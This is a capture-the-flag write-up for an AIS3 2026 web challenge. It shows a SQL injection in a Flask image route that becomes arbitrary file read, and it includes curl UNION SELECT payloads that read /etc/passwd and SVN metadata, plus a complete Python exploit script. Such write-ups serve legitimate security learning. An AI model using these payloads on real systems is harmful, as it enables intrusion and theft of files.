【AIS3 Pre-Exam 2026 Writeup】Web - MyGO!!!!!X-Ave-Mujica圖庫
The useful source was app.py. I got it through the bug later, but reading it first makes the route clear.
db = sqlite3.connect(":memory:", check_same_thread=False)
db.execute("CREATE TABLE images (id INTEGER PRIMARY KEY, path TEXT);")
db.executemany("INSERT INTO images (path) VALUES (?);",
[
("images/haruhikage.jpg",),
("images/yes_but_no.jpg",),
("images/good.jpg",),
("images/useless.jpg",)
])
db.commit()
The /image route is the important part.
@app.get("/image")
def image():
image_id = request.args.get("id")
cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
return send_file(cur[0])
image_id goes straight into the SQL string. The result also goes straight into send_file(). So the same bug can become both SQL injection and file read.
The upload route looked interesting at first.
ALLOWED_EXTENSIONS = {'png', 'jpg', 'gif', "webp"}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
filename = secure_filename(file.filename)
path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(path)
Path traversal by filename did not look good. secure_filename() removes the useful ../ parts. Upload also only writes into images. No trigger to execute anything. I left this path.
There is no native binary here, so no checksec, no gdb, and no glibc printf path. The protection that mattered was at the web route level: .svn was hinted, but not directly web-served.
robots.txt gave the first real hint.
curl -i http://chals1.ais3.org:48763/robots.txt
It returned:
.svn
Direct access failed.
curl -i http://chals1.ais3.org:48763/.svn/wc.db
The server returned 404. So .svn was probably on disk, but not exposed as a static directory. I needed a local file read.
The image route was the next target.
curl -i 'http://chals1.ais3.org:48763/image?id=1'
That returned haruhikage.jpg.
Some numeric SQLi probes still returned the first image.
curl -i 'http://chals1.ais3.org:48763/image?id=1--'
curl -i 'http://chals1.ais3.org:48763/image?id=1/**/'
curl -i 'http://chals1.ais3.org:48763/image?id=1%20OR%201=1--'
At this point I was not sure if it was just loose integer parsing or real SQLi. UNION made it clear.
curl -i "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'robots.txt'--"
The response body was again:
.svn
So the selected string became a file path for send_file().
Reading /etc/passwd confirmed it was not limited to app files.
curl -i "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'/etc/passwd'--"
That returned normal passwd content. This was enough to use the .svn hint properly.
The source file was readable too.
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'app.py'--"
That is where the SELECT path FROM images WHERE id = {image_id} line came from. The route had no quoting around id, so numeric injection was enough. No need to break out of a string.
Common flag paths did not work for me:
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'/flag'--"
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'flag.txt'--"
Those only caused server errors. No file at those paths, or not readable from the current working directory.
Went back to .svn.
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'.svn/wc.db'--" -o wc.db
file showed it was a SQLite database.
file wc.db
The interesting tables were visible:
sqlite3 wc.db '.tables'
NODES was enough for file names.
sqlite3 -header -column wc.db \
"select local_relpath, kind, checksum from NODES order by local_relpath;"
One row stood out:
super_secret_starburst_flag114514.txt file $sha1$38b96d193f20bfafaed25e54ac4c9f3e35607424
That file was still in the working tree, so it could be read directly through the same primitive.
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'super_secret_starburst_flag114514.txt'--"
Flag:
AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}
There was one small trap. SVN also stores pristine copies.
The checksum gives this path:
.svn/pristine/38/38b96d193f20bfafaed25e54ac4c9f3e35607424.svn-base
Reading it worked:
curl "http://chals1.ais3.org:48763/image?id=999%20UNION%20SELECT%20'.svn/pristine/38/38b96d193f20bfafaed25e54ac4c9f3e35607424.svn-base'--"
But that returned the Taipei version:
AIS3{BangDream_AveMujica_Exitus_at_Taipei_8/8_and_I_don't_have_ticket}
I first thought it could be the flag, but the live file had Taiwan. The working copy file is the one to submit.
Full exploit script:
#!/usr/bin/env python3
import sqlite3
import tempfile
from pathlib import Path
from urllib.parse import quote
from urllib.request import urlopen
BASE = "http://chals1.ais3.org:48763"
def read_file(path: str) -> bytes:
payload = f"999 UNION SELECT '{path}'--"
url = f"{BASE}/image?id={quote(payload, safe='')}"
with urlopen(url, timeout=10) as r:
return r.read()
def main():
app_py = read_file("app.py").decode(errors="replace")
print("[+] app.py contains vulnerable route:", "SELECT path FROM images WHERE id =" in app_py)
wcdb = read_file(".svn/wc.db")
with tempfile.NamedTemporaryFile(delete=False) as f:
f.write(wcdb)
wcdb_path = Path(f.name)
con = sqlite3.connect(wcdb_path)
rows = con.execute(
"select local_relpath, checksum from NODES where kind='file' order by local_relpath"
).fetchall()
print("[+] files from SVN metadata:")
for name, checksum in rows:
print(f" {name} {checksum or ''}")
flag_name, checksum = next(
(name, checksum) for name, checksum in rows
if "flag" in name.lower() or "secret" in name.lower()
)
flag = read_file(flag_name).decode(errors="replace").strip()
print("[+] live flag:", flag)
if checksum and checksum.startswith("$sha1$"):
sha1 = checksum.split("$sha1$", 1)[1]
pristine_path = f".svn/pristine/{sha1[:2]}/{sha1}.svn-base"
pristine = read_file(pristine_path).decode(errors="replace").strip()
print("[+] pristine copy:", pristine)
wcdb_path.unlink(missing_ok=True)
if __name__ == "__main__":
main()
Running it:
python3 solve_mygo.py
Expected important output:
[+] live flag: AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}
[+] pristine copy: AIS3{BangDream_AveMujica_Exitus_at_Taipei_8/8_and_I_don't_have_ticket}